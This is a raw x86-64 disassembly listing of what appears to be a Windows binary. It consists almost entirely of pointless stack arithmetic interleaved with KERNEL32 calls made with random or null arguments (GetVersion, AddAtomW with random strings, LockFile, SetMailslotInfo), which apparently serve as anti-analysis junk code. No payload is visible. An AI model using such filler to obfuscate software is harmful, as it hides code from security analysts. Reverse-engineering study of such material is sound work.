movzx eax, byte [rsp + 0x22a]
mov rcx, qword [0x1403639c8]
movzx ecx, byte [rcx]
add eax, ecx
mov rcx, qword [rsp + 0x14d88]
mov byte [rcx], al
mov rax, qword [rsp + 0x14bc0]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0x14f90]
movsx ecx, byte [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0x13288]
mov byte [rcx], al
lea rax, [rsp + 0x2aec]
mov qword [rsp + 0x15360], rax
mov rax, qword [0x140363a78]
mov rcx, qword [rsp + 0x15248]
mov ecx, dword [rcx]
mov eax, dword [rax]
sub eax, ecx
mov rcx, qword [0x140363d58]
mov dword [rcx], eax
lea rdx, [rsp + 0x150f0]
mov rcx, qword [rsp + 0x13990]
call qword [sym.imp.KERNEL32.dll_GetFileSizeEx]
mov dword [rsp + 0xaea4], eax
movzx ecx, word [rsp + 0x2b84]
call qword [sym.imp.KERNEL32.dll_DeleteAtom]
mov word [rsp + 0x2c5c], ax
mov rax, qword [rsp + 0x149b0]
mov eax, dword [rax]
mov ecx, dword [rsp + 0xade8]
or ecx, eax
mov eax, ecx
mov dword [rsp + 0x7758], eax
movzx eax, byte [rsp + 0x6b7]
mov byte [rsp + 0x71e], al
mov rax, qword [0x140363aa0]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x13d98]
movzx ecx, word [rcx]
shl eax, cl
mov rcx, qword [rsp + 0x14418]
mov word [rcx], ax
lea rax, [rsp + 0xa9ec]
mov qword [rsp + 0x15368], rax
mov eax, dword [rsp + 0x8664]
movzx ecx, al
mov eax, dword [rsp + 0xa87c]
shr eax, cl
mov dword [rsp + 0xaa0c], eax
mov rax, qword [rsp + 0x13f38]
mov ecx, dword [rsp + 0xa9b0]
mov eax, dword [rax]
xor eax, ecx
mov dword [rsp + 0xab58], eax
mov eax, dword [rsp + 0xa350]
mov ecx, dword [rsp + 0xa8e8]
and ecx, eax
mov eax, ecx
mov dword [rsp + 0x72e4], eax
mov rax, qword [rsp + 0x13ed0]
movzx eax, word [rax]
movzx ecx, word [0x140362bdc]
and eax, ecx
mov word [rsp + 0x11c4], ax
lea rax, [rsp + 0x562]
mov qword [0x140363eb0], rax
lea rax, [rsp + 0xa664]
mov qword [rsp + 0x15370], rax
mov rax, qword [rsp + 0x14ea0]
mov rcx, qword [0x140363ac8]
mov ecx, dword [rcx]
mov eax, dword [rax]
sub eax, ecx
mov rcx, qword [rsp + 0x14b00]
mov dword [rcx], eax
lea rcx, [rsp + 0x41e98]
call qword [sym.imp.KERNEL32.dll_GetNativeSystemInfo]
mov rax, qword [rsp + 0x137e8]
mov ecx, dword [rsp + 0xa3f4]
mov eax, dword [rax]
or eax, ecx
mov dword [rsp + 0xa978], eax
mov eax, dword [rsp + 0xae9c]
mov dword [rsp + 0xaea8], eax
mov eax, dword [0x140363c94]
mov ecx, dword [rsp + 0xad2c]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x95dc], eax
movzx eax, word [rsp + 0x29f4]
mov word [rsp + 0x2c88], ax
mov rax, qword [rsp + 0x14aa8]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x6fb]
and eax, ecx
mov rcx, qword [rsp + 0x143e8]
mov byte [rcx], al
mov rax, qword [rsp + 0x13e20]
movzx eax, byte [rax]
mov rcx, qword [0x140363bb0]
movzx ecx, byte [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0x13720]
mov byte [rcx], al
movzx eax, word [rsp + 0x2c78]
mov rcx, qword [rsp + 0x145f8]
movzx ecx, word [rcx]
sub eax, ecx
mov rcx, qword [0x140363bd0]
mov word [rcx], ax
movzx ecx, word [rsp + 0x2a68]
call qword [sym.imp.KERNEL32.dll_DeleteAtom]
mov word [rsp + 0x2994], ax
mov rax, qword [rsp + 0x140e0]
mov ecx, dword [rsp + 0x9f74]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0x7b68], eax
mov rax, qword [rsp + 0x13450]
mov eax, dword [rax]
mov ecx, dword [0x14035cc30]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0xaac0], eax
lea rax, [rsp + 0x2b24]
mov qword [rsp + 0x15378], rax
movzx eax, byte [rsp + 0x71b]
movzx ecx, byte [0x14035e4f5]
sub eax, ecx
mov byte [rsp + 0x56b], al
lea rax, [rsp + 0xaae4]
mov qword [rsp + 0x15380], rax
mov eax, dword [rsp + 0xaba0]
mov ecx, dword [rsp + 0x6304]
sub ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x13350]
mov dword [rcx], eax
mov rax, qword [0x140363b60]
mov eax, dword [rax]
mov ecx, dword [rsp + 0xa984]
xor ecx, eax
mov eax, ecx
mov dword [rsp + 0x7a74], eax
lea rax, [rsp + 0xac4c]
mov qword [rsp + 0x15388], rax
mov rax, qword [rsp + 0x13e10]
movzx eax, byte [rax]
mov byte [0x14035e507], al
mov rax, qword [rsp + 0x144a8]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x2180]
sar eax, cl
mov word [rsp + 0x1e64], ax
lea rax, [0x14035cbd8]
mov qword [rsp + 0x15390], rax
mov rax, qword [rsp + 0x13688]
mov eax, dword [rax]
movzx ecx, al
mov eax, dword [rsp + 0xaa84]
shl eax, cl
mov dword [rsp + 0xadb0], eax
mov rax, qword [rsp + 0x13428]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x2a04]
imul eax, ecx
mov word [rsp + 0x2aa0], ax
call qword [sym.imp.KERNEL32.dll_GetVersion]
mov dword [rsp + 0xad38], eax
movzx eax, byte [rsp + 0x6d8]
mov byte [rsp + 0x71f], al
mov rax, qword [rsp + 0x15048]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x13a30]
movzx ecx, byte [rcx]
or eax, ecx
mov rcx, qword [rsp + 0x14b40]
mov byte [rcx], al
lea rax, [rsp + 0x2ba0]
mov qword [rsp + 0x15398], rax
mov rax, qword [rsp + 0x143f0]
mov ecx, dword [rsp + 0x6e80]
mov eax, dword [rax]
and eax, ecx
mov rcx, qword [rsp + 0x13a50]
mov dword [rcx], eax
mov eax, dword [rsp + 0xabdc]
mov ecx, dword [rsp + 0xa8bc]
and ecx, eax
mov eax, ecx
mov rcx, qword [0x140363e20]
mov dword [rcx], eax
mov rax, qword [rsp + 0x14978]
mov ecx, dword [0x140363c94]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0xadb8], eax
call qword [sym.imp.KERNEL32.dll_GetVersion]
mov dword [rsp + 0xa924], eax
mov rax, qword [rsp + 0x13640]
mov eax, dword [rax]
mov ecx, dword [rsp + 0xa8c4]
or ecx, eax
mov eax, ecx
mov dword [rsp + 0x83e0], eax
mov rax, qword [rsp + 0x13380]
mov eax, dword [rax]
mov ecx, dword [rsp + 0xad5c]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0xa774], eax
lea rax, [0x14035e4f4]
mov qword [rsp + 0x153a0], rax
movzx eax, word [rsp + 0x11c0]
movzx ecx, word [rsp + 0x29c8]
and eax, ecx
mov word [rsp + 0x1b9c], ax
mov eax, dword [rsp + 0xad9c]
mov ecx, dword [rsp + 0x96e4]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0xab34], eax
lea rax, [0x140363c90]
mov qword [rsp + 0x153a8], rax
mov rax, qword [rsp + 0x138f0]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x9a80]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x7c34], eax
lea rax, [rsp + 0xad08]
mov qword [0x140363eb8], rax
mov rax, qword [rsp + 0x13500]
movzx eax, word [rax]
mov word [rsp + 0x2c8c], ax
movzx eax, byte [rsp + 0x6df]
movzx ecx, byte [rsp + 0x6fc]
add eax, ecx
mov rcx, qword [rsp + 0x13318]
mov byte [rcx], al
movzx eax, word [rsp + 0x2a3c]
mov word [rsp + 0x2c90], ax
movsx eax, byte [rsp + 0x6b2]
mov rcx, qword [0x140363b48]
movsx ecx, byte [rcx]
sar eax, cl
mov byte [rsp + 0x28f], al
mov rax, qword [rsp + 0x144a0]
mov ecx, dword [rsp + 0xa87c]
mov eax, dword [rax]
xor eax, ecx
mov dword [rsp + 0xabfc], eax
mov rax, qword [rsp + 0x14978]
mov eax, dword [rax]
movzx ecx, al
mov eax, dword [rsp + 0x955c]
shl eax, cl
mov dword [rsp + 0x7c24], eax
movzx eax, byte [0x140353596]
mov rcx, qword [rsp + 0x13650]
movzx ecx, byte [rcx]
or eax, ecx
mov byte [rsp + 0x211], al
lea rax, [rsp + 0x2c2c]
mov qword [rsp + 0x153b0], rax
lea rcx, str.y_SJJD7AMuf
call qword [sym.imp.KERNEL32.dll_AddAtomW]
mov word [rsp + 0x2c94], ax
lea rax, [rsp + 0x924c]
mov qword [0x140363ec0], rax
mov rax, qword [rsp + 0x13bd0]
mov rcx, qword [rsp + 0x14288]
mov ecx, dword [rcx]
mov eax, dword [rax]
and eax, ecx
mov rcx, qword [rsp + 0x15198]
mov dword [rcx], eax
mov rax, qword [rsp + 0x13798]
mov eax, dword [rax]
mov ecx, dword [rsp + 0xa8c8]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0xad58], eax
mov eax, dword [rsp + 0xa990]
mov dword [rsp + 0xaeac], eax
movzx eax, word [rsp + 0x23cc]
movzx ecx, word [0x14035cc64]
add eax, ecx
mov rcx, qword [rsp + 0x13ba8]
mov word [rcx], ax
mov r9d, 1
lea r8, [rsp + 0x14b78]
mov rdx, qword [rsp + 0x14a18]
mov rcx, qword [rsp + 0x14b70]
call qword [sym.imp.KERNEL32.dll_SetFilePointerEx]
mov dword [rsp + 0xaea4], eax
lea rax, [rsp + 0x42a]
mov qword [rsp + 0x153b8], rax
mov rax, qword [rsp + 0x14cb8]
mov ecx, dword [rsp + 0xa644]
mov eax, dword [rax]
and eax, ecx
mov dword [rsp + 0xacc4], eax
mov rax, qword [rsp + 0x13270]
mov eax, dword [rax]
mov ecx, dword [0x140363ba0]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0xabb0], eax
lea rax, [rsp + 0xacf4]
mov qword [rsp + 0x153c0], rax
mov rax, qword [rsp + 0x150a0]
mov ecx, dword [rsp + 0xa8bc]
mov eax, dword [rax]
or eax, ecx
mov rcx, qword [0x140363c68]
mov dword [rcx], eax
mov rax, qword [0x140363cd0]
mov ecx, dword [rsp + 0x9d60]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0x8e08], eax
movsx eax, byte [rsp + 0x714]
mov rcx, qword [rsp + 0x13390]
movsx ecx, byte [rcx]
sub eax, ecx
mov byte [rsp + 0x634], al
mov rax, qword [rsp + 0x14ca8]
movsx eax, word [rax]
mov rcx, qword [0x140363b28]
movsx ecx, word [rcx]
and eax, ecx
mov rcx, qword [rsp + 0x151f8]
mov word [rcx], ax
mov r9d, 0x1022
xor r8d, r8d
lea rdx, [rsp + 0x14e28]
mov ecx, 1
call qword [sym.imp.KERNEL32.dll_WaitForMultipleObjects]
mov dword [rsp + 0xaeb0], eax
movzx eax, byte [rsp + 0x6f3]
movzx ecx, byte [rsp + 0x120]
sub eax, ecx
mov rcx, qword [rsp + 0x153a0]
mov byte [rcx], al
movzx eax, word [rsp + 0x180c]
mov word [rsp + 0x2c98], ax
mov eax, dword [rsp + 0x8808]
mov rcx, qword [rsp + 0x15340]
mov qword [rsp + 0x153c8], rcx
movzx ecx, al
mov rax, qword [rsp + 0x153c8]
mov eax, dword [rax]
shl eax, cl
mov dword [rsp + 0x6f68], eax
lea rax, [rsp + 0x870c]
mov qword [rsp + 0x153d0], rax
movzx eax, byte [rsp + 0x710]
mov rcx, qword [rsp + 0x133f0]
movzx ecx, byte [rcx]
sar eax, cl
mov rcx, qword [rsp + 0x14228]
mov byte [rcx], al
mov rax, qword [rsp + 0x14ec0]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x2b28]
xor eax, ecx
mov word [0x14035cc68], ax
mov eax, dword [rsp + 0x9c08]
mov dword [rsp + 0xaeb4], eax
mov rax, qword [rsp + 0x138f0]
mov eax, dword [rax]
mov ecx, dword [rsp + 0xac84]
or ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x145a0]
mov dword [rcx], eax
mov rax, qword [0x140363db8]
mov rcx, qword [rsp + 0x14e10]
mov ecx, dword [rcx]
mov eax, dword [rax]
and eax, ecx
mov dword [rsp + 0x8e08], eax
mov rax, qword [rsp + 0x13dd8]
mov ecx, dword [rsp + 0x67dc]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0x6534], eax
mov rax, qword [rsp + 0x14938]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x710]
sub eax, ecx
mov byte [rsp + 0x6e5], al
mov rax, qword [rsp + 0x13ba8]
movzx eax, word [rax]
mov word [rsp + 0x2c9c], ax
mov rax, qword [rsp + 0x13728]
mov eax, dword [rax]
mov ecx, dword [rsp + 0xa8d4]
sub ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x133d0]
mov dword [rcx], eax
mov rax, qword [rsp + 0x137f8]
mov ecx, dword [0x14035cc24]
mov eax, dword [rax]
and eax, ecx
mov rcx, qword [rsp + 0x150e8]
mov dword [rcx], eax
mov rax, qword [rsp + 0x12fb8]
movsx eax, word [rax]
mov rcx, qword [rsp + 0x131b8]
movsx ecx, word [rcx]
add eax, ecx
mov rcx, qword [0x140363af8]
mov word [rcx], ax
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_SetMailslotInfo]
lea rax, [rsp + 0x6d0]
mov qword [rsp + 0x153d8], rax
call qword [sym.imp.KERNEL32.dll_GetVersion]
mov dword [rsp + 0xab94], eax
movzx eax, word [rsp + 0x2b6c]
mov rcx, qword [rsp + 0x153b0]
movzx ecx, word [rcx]
or eax, ecx
mov rcx, qword [rsp + 0x14360]
mov word [rcx], ax
movzx eax, byte [rsp + 0x6cf]
movzx ecx, byte [rsp + 0x6e0]
add eax, ecx
mov byte [rsp + 0x1d6], al
mov rax, qword [rsp + 0x14480]
mov ecx, dword [0x14035cc4c]
mov eax, dword [rax]
add eax, ecx
mov rcx, qword [rsp + 0x15300]
mov dword [rcx], eax
mov rax, qword [rsp + 0x153c0]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x83e0]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0xa2a4], eax
lea rax, [rsp + 0xaaa8]
mov qword [rsp + 0x153e0], rax
mov rax, qword [0x140363e80]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x66e0]
xor ecx, eax
mov eax, ecx
mov dword [rsp + 0xa980], eax
mov rax, qword [rsp + 0x13760]
mov eax, dword [rax]
mov dword [rsp + 0xaeb8], eax
mov rax, qword [rsp + 0x14d08]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x13ed0]
movzx ecx, word [rcx]
sar eax, cl
mov word [rsp + 0x2b40], ax
movzx eax, byte [rsp + 0x211]
mov rcx, qword [rsp + 0x152c8]
movzx ecx, byte [rcx]
shl eax, cl
mov byte [0x14035e48e], al
lea rax, [rsp + 0xac58]
mov qword [rsp + 0x153e8], rax
mov rax, qword [rsp + 0x13bf8]
mov rcx, qword [rsp + 0x14c30]
mov ecx, dword [rcx]
mov eax, dword [rax]
or eax, ecx
mov rcx, qword [rsp + 0x132e0]
mov dword [rcx], eax
mov rax, qword [rsp + 0x13c18]
mov ecx, dword [0x14035cc58]
mov eax, dword [rax]
and eax, ecx
mov dword [rsp + 0x8d8c], eax
movzx ecx, word [rsp + 0x2b74]
call qword [sym.imp.KERNEL32.dll_DeleteAtom]
mov word [rsp + 0x2c94], ax
mov rax, qword [rsp + 0x13770]
mov eax, dword [rax]
mov dword [rsp + 0xaebc], eax
lea rcx, [rsp + 0x41ec8]
call qword [sym.imp.KERNEL32.dll_GetNativeSystemInfo]
movzx eax, byte [rsp + 0x5bb]
movzx ecx, byte [rsp + 0x6e3]
and eax, ecx
mov byte [rsp + 0x43d], al
lea rax, [rsp + 0x2b00]
mov qword [rsp + 0x153f0], rax
mov rax, qword [rsp + 0x14518]
movsx eax, word [rax]
mov rcx, qword [rsp + 0x130e8]
movsx ecx, word [rcx]
sub eax, ecx
mov word [rsp + 0x2c04], ax
movsx eax, byte [rsp + 0x628]
movsx ecx, byte [rsp + 0x2f8]
sub eax, ecx
mov rcx, qword [rsp + 0x14c40]
mov byte [rcx], al
mov rax, qword [0x140363d58]
mov eax, dword [rax]
mov dword [0x140363ea4], eax
lea rax, [rsp + 0xac14]
mov qword [rsp + 0x153f8], rax
movzx eax, word [rsp + 0x144c]
movzx ecx, word [rsp + 0x29c0]
add eax, ecx
mov rcx, qword [rsp + 0x14558]
mov word [rcx], ax
lea rax, [rsp + 0x6ea]
mov qword [rsp + 0x15400], rax
mov rax, qword [0x140363dd8]
mov rcx, qword [rsp + 0x15358]
mov ecx, dword [rcx]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0x8374], eax
mov rax, qword [rsp + 0x13f88]
mov eax, dword [rax]
mov ecx, dword [rsp + 0xad6c]
and ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x14278]
mov dword [rcx], eax
lea rdx, [rsp + 0x45cb0]
mov rcx, qword [rsp + 0x14c90]
call qword [sym.imp.KERNEL32.dll_GetFileInformationByHandle]
mov dword [rsp + 0xad88], eax
lea rax, [rsp + 0xab18]
mov qword [rsp + 0x15408], rax
mov rax, qword [rsp + 0x13550]
mov ecx, dword [rsp + 0xa8c8]
mov eax, dword [rax]
or eax, ecx
mov dword [rsp + 0x62dc], eax
call qword [sym.imp.KERNEL32.dll_GetVersion]
mov dword [rsp + 0xaec0], eax
mov rax, qword [rsp + 0x13530]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x14098]
movzx ecx, byte [rcx]
sub eax, ecx
mov byte [rsp + 0x4c7], al
mov rax, qword [rsp + 0x14ca0]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x1510]
sar eax, cl
mov rcx, qword [0x140363b98]
mov word [rcx], ax
mov rax, qword [rsp + 0x14860]
mov ecx, dword [rsp + 0xad70]
mov eax, dword [rax]
xor eax, ecx
mov rcx, qword [rsp + 0x14008]
mov dword [rcx], eax
movzx ecx, word [rsp + 0x2adc]
call qword [sym.imp.KERNEL32.dll_DeleteAtom]
mov word [rsp + 0x2aac], ax
mov eax, dword [0x140363be4]
movzx ecx, al
mov eax, dword [rsp + 0xad2c]
shl eax, cl
mov rcx, qword [rsp + 0x152f0]
mov dword [rcx], eax
lea rax, [rsp + 0x7970]
mov qword [rsp + 0x15410], rax
mov eax, dword [rsp + 0xaa18]
mov ecx, dword [rsp + 0xae80]
and ecx, eax
mov eax, ecx
mov dword [rsp + 0xac44], eax
mov rax, qword [rsp + 0x14410]
mov eax, dword [rax]
mov dword [rsp + 0xaec4], eax
mov rax, qword [0x140363e10]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x2ae0]
add eax, ecx
mov rcx, qword [rsp + 0x142e8]
mov word [rcx], ax
lea rax, [rsp + 0x6f2]
mov qword [rsp + 0x15418], rax
mov rax, qword [rsp + 0x14360]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x13de0]
movzx ecx, word [rcx]
or eax, ecx
mov word [rsp + 0x2be0], ax
mov r9d, 1
lea r8, [rsp + 0x133a8]
mov rdx, qword [rsp + 0x15420]
mov rcx, qword [rsp + 0x14918]
call qword [sym.imp.KERNEL32.dll_SetFilePointerEx]
mov dword [rsp + 0xac98], eax
call qword [sym.imp.KERNEL32.dll_GetVersion]
mov dword [rsp + 0xae98], eax
lea rax, [rsp + 0x6e5]
mov qword [0x140363ec8], rax
mov eax, dword [rsp + 0xa944]
mov ecx, dword [rsp + 0xacac]
sub ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x153a8]
mov dword [rcx], eax
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetFileType]
lea rax, [rsp + 0xa664]
mov qword [rsp + 0x15428], rax
movzx eax, word [0x140362d5c]
mov rcx, qword [rsp + 0x14c28]
movzx ecx, word [rcx]
and eax, ecx
mov word [rsp + 0x2c58], ax
movzx eax, byte [rsp + 0x713]
mov rcx, qword [rsp + 0x15220]
movzx ecx, byte [rcx]
sub eax, ecx
mov byte [rsp + 0x334], al
mov rax, qword [rsp + 0x14c78]
mov rcx, qword [rsp + 0x15240]
mov ecx, dword [rcx]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0x8e08], eax
mov eax, dword [rsp + 0x70c0]
mov ecx, dword [rsp + 0xac68]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0xa71c], eax
mov eax, dword [rsp + 0x81a0]
mov dword [rsp + 0xaec8], eax
mov rax, qword [rsp + 0x13610]
mov rcx, qword [0x140363c70]
mov ecx, dword [rcx]
mov eax, dword [rax]
add eax, ecx
mov rcx, qword [rsp + 0x13b18]
mov dword [rcx], eax
mov rcx, qword [rsp + 0x13bc0]
call qword [sym.imp.KERNEL32.dll_ReleaseMutex]
movzx eax, word [rsp + 0x2b24]
mov rcx, qword [rsp + 0x141b8]
movzx ecx, word [rcx]
add eax, ecx
mov rcx, qword [0x140363b90]
mov word [rcx], ax
lea rax, [rsp + 0x6bc]
mov qword [rsp + 0x15430], rax
mov rax, qword [rsp + 0x13cd8]
mov rcx, qword [rsp + 0x12f48]
mov ecx, dword [rcx]
mov eax, dword [rax]
or eax, ecx
mov rcx, qword [rsp + 0x14a28]
mov dword [rcx], eax
mov eax, dword [rsp + 0xa99c]
movzx ecx, al
mov eax, dword [rsp + 0xa8ec]
shl eax, cl
mov dword [rsp + 0xabcc], eax
mov dword [rsp + 0x20], 0x281c
mov r9d, 0x1a1a
mov r8d, 0x23b5
mov edx, 0x372b
mov rcx, qword [rsp + 0x15228]
call qword [sym.imp.KERNEL32.dll_LockFile]
mov dword [rsp + 0xaecc], eax
lea rax, [rsp + 0x4ff]
mov qword [rsp + 0x15438], rax
movsx eax, word [rsp + 0x2bc4]
movsx ecx, word [rsp + 0x2a64]
xor eax, ecx
mov word [rsp + 0x2a5c], ax
movzx eax, byte [rsp + 0x6e3]
movzx ecx, byte [rsp + 0x24b]
sar eax, cl
mov byte [rsp + 0x5c7], al
mov rax, qword [rsp + 0x14428]
movzx eax, word [rax]
mov rcx, qword [0x140363e90]
movzx ecx, word [rcx]
and eax, ecx
mov word [rsp + 0x2a80], ax
mov eax, dword [rsp + 0xa764]
mov dword [rsp + 0xaed0], eax
mov rax, qword [rsp + 0x14888]
mov rcx, qword [rsp + 0x137f8]
mov ecx, dword [rcx]
mov eax, dword [rax]
and eax, ecx
mov dword [0x14035cc6c], eax
mov rax, qword [rsp + 0x14208]
mov rcx, qword [0x1403639a8]
mov ecx, dword [rcx]
mov eax, dword [rax]
sub eax, ecx
mov rcx, qword [rsp + 0x14258]
mov dword [rcx], eax
mov rax, qword [rsp + 0x13280]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x9694]
or ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x150d8]
mov dword [rcx], eax
mov rax, qword [rsp + 0x14d70]
mov eax, dword [rax]
mov dword [rsp + 0xaed4], eax
movzx eax, word [rsp + 0x2554]
mov rcx, qword [0x140363c60]
movzx ecx, word [rcx]
add eax, ecx
mov rcx, qword [rsp + 0x135f8]
mov word [rcx], ax
mov rax, qword [rsp + 0x146e8]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x13458]
movzx ecx, byte [rcx]
and eax, ecx
mov byte [rsp + 0xa1], al
mov eax, dword [rsp + 0xa9e8]
mov ecx, dword [rsp + 0xadc0]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x9370], eax
mov eax, dword [rsp + 0xad70]
mov ecx, dword [rsp + 0x9568]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x7dfc], eax
mov eax, dword [rsp + 0xa9d8]
mov dword [rsp + 0xaed8], eax
mov eax, dword [rsp + 0x7a74]
mov ecx, dword [rsp + 0xac14]
add ecx, eax
mov eax, ecx
mov rcx, qword [0x140363b60]
mov dword [rcx], eax
call qword [sym.imp.KERNEL32.dll_GetVersion]
mov dword [rsp + 0xac64], eax
movzx eax, byte [rsp + 0x6dd]
movzx ecx, byte [rsp + 0x70e]
sub eax, ecx
mov rcx, qword [rsp + 0x147c0]
mov byte [rcx], al
movzx eax, word [rsp + 0x1c44]
movzx ecx, word [rsp + 0x2b34]
sub eax, ecx
mov word [rsp + 0x200c], ax
mov rax, qword [0x140363a90]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0x149a0]
movsx ecx, byte [rcx]
sub eax, ecx
mov byte [rsp + 0x634], al
mov rax, qword [rsp + 0x14368]
movsx eax, word [rax]
mov rcx, qword [rsp + 0x149f8]
movsx ecx, word [rcx]
shl eax, cl
mov word [rsp + 0x2c6c], ax
mov rax, qword [rsp + 0x13c10]
mov eax, dword [rax]
mov dword [rsp + 0xaedc], eax
mov rax, qword [rsp + 0x15088]
mov eax, dword [rax]
movzx ecx, al
mov eax, dword [0x14035cbdc]
sar eax, cl
mov dword [rsp + 0xa904], eax
lea rax, [rsp + 0x2b48]
mov qword [rsp + 0x15440], rax
mov rax, qword [rsp + 0x14188]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x14bf0]
movzx ecx, byte [rcx]
xor eax, ecx
mov rcx, qword [rsp + 0x14120]
mov byte [rcx], al
lea rax, [rsp + 0x965c]
mov qword [0x140363ed0], rax
mov eax, dword [rsp + 0xaa70]
mov ecx, dword [rsp + 0xaad8]
or ecx, eax
mov eax, ecx
mov dword [rsp + 0x6bc0], eax
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateFiber]
lea rax, [rsp + 0xaca8]
mov qword [rsp + 0x15448], rax
mov rax, qword [0x140363cc0]
mov rcx, qword [rsp + 0x14270]
mov ecx, dword [rcx]
mov eax, dword [rax]
and eax, ecx
mov rcx, qword [rsp + 0x147b8]
mov dword [rcx], eax
movzx eax, byte [rsp + 0x56b]
mov byte [rsp + 0x720], al
mov rax, qword [rsp + 0x151d8]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x14b10]
movzx ecx, word [rcx]
and eax, ecx
mov word [rsp + 0x2af4], ax
movzx ecx, word [rsp + 0x2bd4]
call qword [sym.imp.KERNEL32.dll_DeleteAtom]
mov word [rsp + 0x2b7c], ax
mov rax, qword [rsp + 0x14d30]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x6b84]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x7848], eax
mov rax, qword [rsp + 0x13760]
mov rcx, qword [rsp + 0x135b0]
mov ecx, dword [rcx]
mov eax, dword [rax]
or eax, ecx
mov dword [rsp + 0xaa1c], eax
mov eax, dword [0x14035cc30]
mov ecx, dword [rsp + 0xace0]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0xa8ac], eax
lea rcx, str.LN6Dd_HKsndKq
call qword [sym.imp.KERNEL32.dll_AddAtomW]
mov word [rsp + 0x2ca0], ax
lea rdx, [rsp + 0x14220]
mov rcx, qword [rsp + 0x13968]
call qword [sym.imp.KERNEL32.dll_GetFileSizeEx]
mov dword [rsp + 0xa9d0], eax
mov rax, qword [rsp + 0x13f70]
mov rcx, qword [rsp + 0x136a8]
mov ecx, dword [rcx]
mov eax, dword [rax]
and eax, ecx
mov dword [str.__M6_f], eax
lea rax, [rsp + 0xaed8]
mov qword [rsp + 0x15450], rax
mov rax, qword [rsp + 0x151f8]
movsx eax, word [rax]
movsx ecx, word [0x14035cc20]
add eax, ecx
mov rcx, qword [rsp + 0x13428]
mov word [rcx], ax
lea rax, [rsp + 0x634]
mov qword [rsp + 0x15458], rax
mov rax, qword [rsp + 0x14d88]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x53b]
add eax, ecx
mov rcx, qword [rsp + 0x14048]
mov byte [rcx], al
movzx eax, word [rsp + 0x26a8]
mov rcx, qword [rsp + 0x14e00]
movzx ecx, word [rcx]
sub eax, ecx
mov word [rsp + 0x2b60], ax
call qword [sym.imp.KERNEL32.dll_GetVersion]
mov dword [rsp + 0xaee0], eax
mov eax, dword [rsp + 0x8414]
mov dword [rsp + 0xaee4], eax
mov rax, qword [rsp + 0x149e8]
mov eax, dword [rax]
movzx ecx, al
mov eax, dword [rsp + 0x95dc]
sar eax, cl
mov dword [rsp + 0x8f98], eax
lea rax, [0x14035359e]
mov qword [rsp + 0x15460], rax
lea rax, [rsp + 0x1778]
mov qword [0x140363ed8], rax
mov r9d, 0x2380
xor r8d, r8d
lea rdx, [rsp + 0x13298]
mov ecx, 1
call qword [sym.imp.KERNEL32.dll_WaitForMultipleObjects]
mov dword [rsp + 0xa964], eax
mov rax, qword [rsp + 0x13920]
mov rcx, qword [rsp + 0x145d8]
mov ecx, dword [rcx]
mov eax, dword [rax]
xor eax, ecx
mov rcx, qword [rsp + 0x15200]
mov dword [rcx], eax
mov rax, qword [0x140363dd8]
mov eax, dword [rax]
movzx ecx, al
mov eax, dword [rsp + 0xa920]
shl eax, cl
mov rcx, qword [rsp + 0x14900]
mov dword [rcx], eax
mov rax, qword [rsp + 0x14708]
mov rcx, qword [rsp + 0x13748]
mov ecx, dword [rcx]
mov eax, dword [rax]
or eax, ecx
mov dword [rsp + 0x91c0], eax
mov eax, dword [rsp + 0xad6c]
mov ecx, dword [rsp + 0xab24]
and ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x133d8]
mov dword [rcx], eax
movzx eax, word [rsp + 0x2b34]
mov word [rsp + 0x2ca4], ax
movzx eax, byte [rsp + 0x705]
mov rcx, qword [rsp + 0x14520]
movzx ecx, byte [rcx]
sub eax, ecx
mov byte [rsp + 0x166], al
mov eax, dword [rsp + 0x73fc]
mov ecx, dword [rsp + 0xad2c]
add ecx, eax
mov eax, ecx
